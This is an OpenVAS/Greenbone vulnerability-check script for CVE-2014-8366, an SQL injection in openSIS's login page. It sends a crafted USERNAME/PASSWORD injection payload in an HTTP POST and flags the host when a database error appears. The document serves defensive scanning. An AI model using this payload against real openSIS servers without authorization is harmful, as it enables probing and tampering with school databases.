openSIS 'index.php' SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804653");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2014-8366");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2014-07-04 10:45:35 +0530 (Fri, 04 Jul 2014)");
  script_name("openSIS 'index.php' SQL Injection Vulnerability");

  script_tag(name:"summary", value:"openSIS is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP POST request and check whether it is able to
  execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to 'index.php' script which does not validate input via the
  'USERNAME' & 'PASSWORD' parameters before using in sql query.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute arbitrary SQL
  statements on the vulnerable system, which may leads to access or modify data
  in the underlying database.");

  script_tag(name:"affected", value:"openSIS versions 4.5 and 5.3");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2014/Jun/151");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/68285");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

sisPort = http_get_port(default:80);

if(!http_can_host_php(port:sisPort)){
  exit(0);
}

host = http_host_name(port:sisPort);

foreach dir (make_list_unique("/", "/opensis", "/openSIS", http_cgi_dirs(port:sisPort)))
{

  if(dir == "/") dir = "";

  res = http_get_cache(item:string(dir, "/index.php"), port:sisPort);

  if(res && ">openSIS Student Information System<" >< res && ">User Name" >< res)
  {
    url = dir + "/index.php";
    postData = "USERNAME=%29+or+1%3D%28%271&PASSWORD=%27";

    req = string("POST ",url," HTTP/1.1\r\n",
                 "Host: ", host,"\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(postData),"\r\n",
                 "\r\n",
                 postData);

    ## Send the crafted request and receive the response
    res = http_keepalive_send_recv(port:sisPort, data:req, bodyonly:TRUE);
    if(res && ">Database SQL error<" >< res &&
      ">SELECT MAX(SYEAR)" >< res)
    {
      security_message(port:sisPort);
      exit(0);
    }
  }
}

exit(99);